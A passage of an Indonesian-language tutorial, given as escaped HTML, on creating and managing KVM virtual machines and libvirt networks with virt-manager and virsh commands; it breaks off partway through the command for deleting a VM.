&lt;/ul&gt;&lt;p&gt;Selain itu, di bagian utamanya, kita dapat melihat VM yang sudah terpasang, berikut dengan status kondisinya (apakah sedang “Running” atau “Shutoff”). Di sampingnya, terdapat informasi mengenai penggunaan CPU-nya.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;VM Management&lt;a href=&quot;#vm-management&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan mulai membahas inti dari artikel ini, yaitu “Pengelolaan VM”.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Creating VM&lt;a href=&quot;#creating-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan membuat sebuah VM di Virt-manager. VM ini dapat berupa sistem operasi apapun (Linux, Windows, Mac). Yang kita perlukan hanya sebuah file image-nya saja (biasanya berekstensi “.iso”).&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita akan banyak menggunakan salah satu dari dua “opsi” perintah berikut untuk melakukan manajemen VM. Berikut adalah perbedaannya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;qemu:///system&lt;/strong&gt;: connect to “system” libvirtd instance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;qemu:///session&lt;/strong&gt;: connect to “session” libvirtd instance.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Silakan dipilih berdasarkan preferensi masing-masing. Pada tutorial ini, saya akan menggunakan opsi yang pertama, yaitu &lt;code&gt;qemu:///system&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Selengkapnya:&lt;br /&gt;
&lt;a href=&quot;https://blog.wikichoon.com/2016/01/qemusystem-vs-qemusession.html&quot; target=&quot;_blank&quot;&gt;https://blog.wikichoon.com/2016/01/qemusystem-vs-qemusession.html&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk membuat sebuah VM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--show-domain-creator&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;1. Step 1&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Akan muncul jendela “New VM”, pilih “Local install media (ISO image or CDROM)”. Klik “Forward”.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Step 2&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Cari file ISO yang ingin dibuatkan VM-nya. Klik “Forward”.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3. Step 3&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Alokasikan “&lt;em&gt;Memory&lt;/em&gt; (RAM)” dan “CPU” untuk VM tersebut. Klik “Forward”.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4. Step 4&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Alokasikan penyimpanan (&lt;em&gt;storage&lt;/em&gt;) untuk VM tersebut. Saran saya, alokasikan minimal 20 GB untuk VM Linux atau 40 GB untuk VM Windows. Klik “Forward”.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;5. Step 5&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Pada bagian ini, kita dapat melihat informasi terkait VM yang akan dibuat seperti nama, alokasi &lt;em&gt;memory&lt;/em&gt; &amp;amp; CPU, &lt;em&gt;storage&lt;/em&gt;, serta &lt;em&gt;network&lt;/em&gt;. Buatkan nama untuk VM yang akan dibuat. Nama ini yang nanti akan muncul di tampilan Virt-manager. Untuk bagian “Network selection”, biarkan default (NAT). Klik “Finish”.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika menjalankan Virt-manager sebagai &lt;em&gt;&lt;strong&gt;system&lt;/strong&gt;&lt;/em&gt; (&lt;code&gt;qemu:///system&lt;/code&gt;), maka file VM biasanya akan disimpan di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/var/lib/libvirt/images&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;VM berhasil dibuat.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Listing Network&lt;a href=&quot;#listing-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum memulai VM, pastikan &lt;em&gt;networking&lt;/em&gt;-nya sudah jalan.&lt;br /&gt;
Untuk mengecek kondisi &lt;em&gt;networking&lt;/em&gt; yang tersedia, dan apakah sudah jalan atau belum:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-list&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--all&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing network&quot; loading=&quot;lazy&quot; width=&quot;533&quot; height=&quot;343&quot; src=&quot;/_astro/ss12.Ba0-gEa-_Z1vap3K.webp&quot; /&gt;&lt;figcaption&gt;listing network&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Starting Network&lt;a href=&quot;#starting-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menjalankan &lt;em&gt;networking&lt;/em&gt; (jika belum jalan):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;network_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika ingin agar &lt;em&gt;network&lt;/em&gt; langsung otomatis jalan begitu komputer &lt;em&gt;booting&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-autostart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;network_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Inspecting Network&lt;a href=&quot;#inspecting-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk melihat informasi yang lebih detail tentang suatu &lt;em&gt;network&lt;/em&gt; (jaringan):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-info&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;network_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Stopping Network&lt;a href=&quot;#stopping-network&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika ingin mematikan &lt;em&gt;network&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-destroy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;network_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Starting VM&lt;a href=&quot;#starting-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk memulai VM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;starting vm on virt-manager&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;156&quot; src=&quot;/_astro/ss2.C6dyzqjZ_25rMKQ.webp&quot; /&gt;&lt;figcaption&gt;starting vm on virt-manager&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Listing VM&lt;a href=&quot;#listing-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk melihat daftar VM berikut status-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--all&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing VM&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;182&quot; src=&quot;/_astro/ss3.AYwMUZCB_Z1qvs1j.webp&quot; /&gt;&lt;figcaption&gt;listing VM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Showing VM info&lt;a href=&quot;#showing-vm-info&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita ingin melihat informasi detail pada suatu VM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dominfo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Showing VM ip address&lt;a href=&quot;#showing-vm-ip-address&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita ingin melihat informasi ip address pada suatu VM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;domifaddr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Showing up VM ip address&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;222&quot; src=&quot;/_astro/ss11.DEnGUjqA_Z16K39z.webp&quot; /&gt;&lt;figcaption&gt;Showing up VM ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Shutting down VM&lt;a href=&quot;#shutting-down-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ada 2 cara untuk mematikan sebuah VM:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;shutdown&lt;/strong&gt; (cara normal)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Disebut “cara normal”, karena cara ini sama seperti kita mematikan sistem operasi sebagaimana normalnya, misalnya di Windows, kita pergi ke menu “Start”, kemudian meng-klik bagian “Shutdown”.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;shutdown&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Shutdown VM&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;154&quot; src=&quot;/_astro/ss5.DQKKttV-_1Y4Lh1.webp&quot; /&gt;&lt;figcaption&gt;Shutdown VM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;destroy&lt;/strong&gt; (cara paksa)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Disebut “cara paksa”, karena memang kita memaksa VM kita untuk langsung mati, seperti menekan tombol power di komputer fisik kita.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;destroy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Destroy VM&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;149&quot; src=&quot;/_astro/ss6.CJeI5Z2m_2qRpTb.webp&quot; /&gt;&lt;figcaption&gt;Destroy VM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Suspending VM&lt;a href=&quot;#suspending-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat men-&lt;em&gt;suspend&lt;/em&gt; (seperti &lt;em&gt;sleep&lt;/em&gt;) VM kita:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;suspend&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melanjutkannya (membangunkan VM dari mode &lt;em&gt;suspend&lt;/em&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Suspend &amp;amp;#x26; resume VM&quot; loading=&quot;lazy&quot; width=&quot;467&quot; height=&quot;222&quot; src=&quot;/_astro/ss7.sMuarsfQ_109BLo.webp&quot; /&gt;&lt;figcaption&gt;Suspend &amp;amp; resume VM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;VM Graphical Console&lt;a href=&quot;#vm-graphical-console&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita memerlukan tampilan grafis dari VM yang sedang berjalan,&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;menggunakan &lt;code&gt;virt-manager&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--show-domain-console&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Graphical console via virt-manager&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;659&quot; src=&quot;/_astro/ss8.CnvBScFG_Z2axIXl.webp&quot; /&gt;&lt;figcaption&gt;Graphical console via virt-manager&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;menggunakan &lt;code&gt;spicy&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;spicy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;127.0.0.1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-port&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengetahui port dari VM yang sedang berjalan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;domdisplay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;vm-name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Graphical console via spicy&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;736&quot; src=&quot;/_astro/ss9.SDT3-2n5_WuogI.webp&quot; /&gt;&lt;figcaption&gt;Graphical console via spicy&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Deleting VM&lt;a href=&quot;#deleting-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk menghapus VM:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;undefine&lt;/span&gt;&lt;span&gt; 